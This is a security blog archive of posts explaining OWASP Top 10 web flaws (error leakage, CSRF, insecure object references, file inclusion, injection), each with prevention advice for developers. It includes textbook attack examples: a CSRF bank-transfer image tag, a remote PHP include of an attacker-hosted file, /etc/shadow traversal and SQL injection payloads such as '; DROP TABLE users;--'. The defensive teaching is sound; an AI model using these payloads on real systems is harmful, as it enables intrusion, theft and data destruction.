Tag Archives: Vulnerabilities

Information Leakage and Improper Error Handling

Photo: Andres Rueda

Photo: Andres Ruedahis

This is the sixth-part in a ten-part-series describing the OWASP Top 10. (See all the OWASP Top 10)

What is Information Leakage and Improper Error Handling

Information leakage and improper error handling happen when web applications do not limit the amount of information they return to their users. A classic example of improper error handling is when an application doesn’t sanitize SQL error messages that are returned to the user. Upon receiving a SQL error message an attacker will immediately identify a place for identifying injection flaws.

Although preventing error messages from reaching users will not prevent vulnerabilities from occurring, it does make it difficult for an attacker to accomplish his goal and it is also an industry best practice.

An Example of Information Leakage

Common examples of information leakage include helpful error messages and service banners. Developers and system administrators often forget or disregard how something as simple as a server banner can be used by an attacker.

As an example, if your server is running Apache and you return the server header with your responses, an attacker could leverage this to fingerprint the version of the web server you are running.

Using nmap an attacker could send a few packets at your application server using the command, nmap -sV -p 80 and identify the following:

Interesting ports on
80/tcp  open  http     Apache httpd 1.3.37

The attacker has now identified your Apache version and can now search for vulnerabilities affecting that version of Apache.

An Example of Improper Error Handling

Attackers attempt to leverage information that applications freely volunteer. If an application displays an error messages to the user (attacker), there is not guarantee that the user will “ignore” this error message.

Developers typically forget to properly handle their error messages. Stack traces and SQL errors are two examples of very commonly forgotten errors that should be handled.

Attackers love seeing error messages such as:

ERROR:  unterminated quoted string at or near "'''"

How Do You Prevent Information Leakage and Improper Error Handling

When developing applications, developers should assume all of the users are hostile. As a developer having this mentality will greatly aid you in developing secure applications.

All information returned from a web server should be reviewed for potential leakage. This can be automated by a QA team using a fuzzer.

Developers should also use a standard exception handling architecture to prevent information leakage from occurring. This architecture should be used and shared across the entire development team. All developers should handle their errors the same way.

Developers or product managers may also decide to create a default error handler which returns sanitized error messages for most users in production for all error paths. Doing this will greatly reduce the attack surface that can be exploited through error message generation.

Cross-Site Request Forgery (CSRF)

Photo: Joe Penniston

Photo: Joe Penniston

This is the fifth-part in a ten-part-series describing the OWASP Top 10. (See all the OWASP Top 10)

What is Cross-Site Request Forgery (CSRF)

Cross-Site request forgery is a client-side vulnerability that allows an attacker to make requests on the user’s behalf. Although, most CSRF exploits require a user to be authenticated to the susceptible site to be successful, this is not always the case.

An Example of Cross-Site Request Forgery

A user (victim) opens their browser and logs on to their online banking application located at http://bank.com

After checking their balance they browse away from the site (without logging off) and start reading web pages about olives from Madagascar. One of these olive sites is owned by an attacker. The attacker’s website has the following img src tag:

<img src="http://bank.com/transfer.asp?to_acct=445544&amount=1000">

When the victim’s browser loads the malicious page that contains this img src tag, the victims browser makes the transfer request (/transfer.asp?to_acct=445544&amount=1000) to bank.com using the authenticated cookie from the earlier session. Upon making this request, the bank then transfers $1,000 from the victim’s account to account 445544. The attacker has now successfully executed a cross-site request forgery attack against a user of bank.com

How Do You Prevent Cross-Site Request Forgery

Any sensitive request that is generated by the user should force the user to “re-authenticate.” A simple example is that of change password functionality. You always want to verify the user knows the old password before changing their password, even if they are currently authenticated.

If you determine that “re-authentication” may be an inconvenience for the user or if all of your requests are considered sensitive then the application developers should include a random token that is unique to the user session. This token should not be present in the cookie, but rather as a hidden field in the HTML and then appended to the URL during any form submission.

When the attacker attempts to trick the users browser into making a request, the web application will look for this random token. The random token will not exist for the request, and the request will be denied. This prevents the CSRF attack from being successful.

Note: Having SSL does not protect your application from CSRF vulnerabilities.

Insecure Direct Object Reference

Photo: tim_norris

Photo: tim_norris

This is the fourth-part in a ten-part-series describing the OWASP Top 10. (See all the OWASP Top 10)

What is Insecure Direct Object Reference

Insecure Direct Object Reference is when a web application exposes an internal implementation object to the user. Some examples of internal implementation objects are database records, URLs, or files.

An attacker can modify the internal implementation object in an attempt to abuse the access controls on this object. When the attacker does this they may have the ability to access functionality that the developer didn’t intend to expose access to.

Examples of Insecure Direct Object Reference

Insecure direct object reference is a very broad category of vulnerabilities. There are many examples of these types of vulnerabilities found in the wild by other names. Open Redirects and Directory Traversal are two classic examples of an insecure direct object reference vulnerability.

Open Redirect

This is where the web application has a parameter that allows the website to redirect the user somewhere else. If this parameter is not implemented properly using a white list, attackers can use this in a phishing attack to lure potential victims to a site of their choosing. More information about Open Redirects can be found here.

Directory Traversal

Assume a web application allows for a file to be rendered to a user that is stored on the local machine. If the application isn’t verifying what files should be accessed, an attacker can request other files on the file system and those will also be displayed.

For instance, if the attacker notices the URL:


The attacker could modify the file parameter using a directory traversal attack. He modifies the URL to:


Upon doing this the /etc/shadow file is returned and rendered by file.jsp demonstrating the page is susceptible to a directory traversal attack.

How Do You Prevent Insecure Direct Object Reference From Occurring in Your Application
As always, web application developers can prevent these attacks through good planning.

Developers should use indirect reference maps. Direct mapping can easily be guessed by attackers. Developers should avoid exposing private objects to users. File names, external/internal URL’s, and database keys are all examples of things that should not be displayed to the user.

If direct objects must be used, then the developers should ensure through validation that the user is authorized to view what they are attempting to access. In the directory traversal example, determine what files the user should access and only grant them privileges to those files. This is known as an “accept known good” approach and is always a good idea when it comes to developing secure applications.

Malicious File Execution

Photo: TCM Hitchhiker

Photo: TCM Hitchhiker

This is the third-part in a ten-part-series describing the OWASP Top 10. (See all the OWASP Top 10)

What is Malicious File Execution

Some web applications allow the user to specify input that is used directly into file streams or allows the user to upload files to the server. At a later time the web application accesses the user supplied input in the web applications context. By doing this, the web application is allowing the potential for malicious file execution.

When an application allows user to modify file streams, the application is trusting the user to operate within certain “rules” and may assume the user won’t break these rules.

If there aren’t preventions in place, an attacker can exploit the rules by attempting to include files stored on remote or local file systems.

Web applications that are vulnerable to malicious file execution break the simple security rule of trusting user input.

Allowing malicious file execution to exist in a web application can lead to the complete compromise of the server.

Examples of Malicious File Execution

Typical examples of malicious file execution are remote file includes and local file includes. Most people think of these as PHP functions, however, that does not mean an ASP or JSP server isn’t susceptible to malicious file execution vulnerabilities.

Here is a common example, Imagine the PHP function:

include $_REQUEST['filename'];

An attacker can then specify a file name of a remote URL that they control, say http://evilhacker.com/attack.php

How Do You Prevent Malicious File Execution

Malicious file execution needs to be prevented from the design stage. If the design stage of the web application has already been completed, then extra precaution needs to be taken.

Developers need to pay particular attention to code access security mechanisms to ensure that file names supplied by or influenced by the user do not allow security controls to be obviated.

Web applications should not allow users to insert input into a server-based resource. However, if the ability is needed, then developers need to be extra cautious about what input they accept. Developers should insure that file names supplied by the user do not allow security controls to be bypassed.

General preventions that can be taken include:

  • Strongly Validating user input using an only “accept known good” input.
  • Adding firewall rules that prevent web servers from making new connections to external websites will aid in preventing remote file include vulnerabilities.
  • Implementing a sandbox to isolate applications from one another.

Depending on your environment, specific preventions can also be taken. For instance, with J2EE developers should ensure that the security manager is enabled and properly configured. More information about specific environment preventions can be found at OWASP’s full article on malicious file execution.

Injection Flaws


Photo: Justin_Case

This is the second-part in a ten-part-series describing the OWASP Top 10. (See all the OWASP Top 10)

What are Injection Flaws

Injection flaws are a class of security vulnerability that allows a user to “break out” of the web application context. If your web application takes user input and inserts that user input into a back-end database, shell command, or operating system call, your application may be susceptible to an injection flaw.

A user exploits this by breaking out of the intended “context” and appends additional and often unintended functionality. By allowing injection flaws in your application you are allowing an attacker to create, read, update, or delete any arbitrary data available to the application.

Examples of Injection Flaws

There are many types of injection flaws. The most common being SQL injection. In addition there is LDAP injection, XML Injection, XPath Injection, OS command injection, and HTML injection. Injection flaws however are not limited to just these. If your web application inserts user input into any interpreter or process, your web application can contain these vulnerabilities. You can see an example of how an injection flaw works here.

How Do You Prevent Injection Flaws

Before calling an external function, verify that the data is what you expect. This is referred to as validation. For instance, if you expect your function to be passed a string that contains a user’s first name, should it contain any special characters? John is a valid name. But, J<o>hn isn’t. Both user names need to be ran through a validation function and in order for the web application to determine whether the data is what the developer expects.

There are certain exceptions however that can get you in trouble. Single Quotes (‘) are valid characters in people’s last names. However, if you allow a single quote in a last name field, you can be introducing SQL injection into your application.

In cases where you need to allow a single quote (‘), in addition to validation, you should also sanitize (encode) the input. Sanitizing the input is determining a way that the input can be transformed into “non-threatening” data. This needs to be done on a case by case basis.

For example, If you understand that the sanitized data will always be returned in a browser, you could simple HTML encode or URL encode the string. A quote becomes, ' (HTML encoding) or %27 (URL encoding).

When sanitizing input, it is important to make sure you decode the string before it is displayed to the user. It can be embarrassing if John O’Brien’s name is printed as: Tim O%27Brien

SQL Injection – Primer

Photo: XKCD

Photo: XKCD

SQL Injection is an injection flaw where a web application allows a user to send un-sanitized input into a SQL query.

The textbook example is that a web application has a username field that inserts the user’s input into the following SQL query:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

The user then types a' or '1'='1 into the username field. This creates the following SQL statement:

SELECT * FROM users WHERE name = 'a' or '1'='1'

If the statement variable is used for the authentication procedure then the evaluation of the SQL statement will always be true.

An attacker can cause damage if they appended something like, '; DROP TABLE users;--

This would produce the following SQL statement:

statement = "SELECT * FROM users WHERE name = ''; DROP TABLE users;--';

Which would result in the users table being deleted from the Database.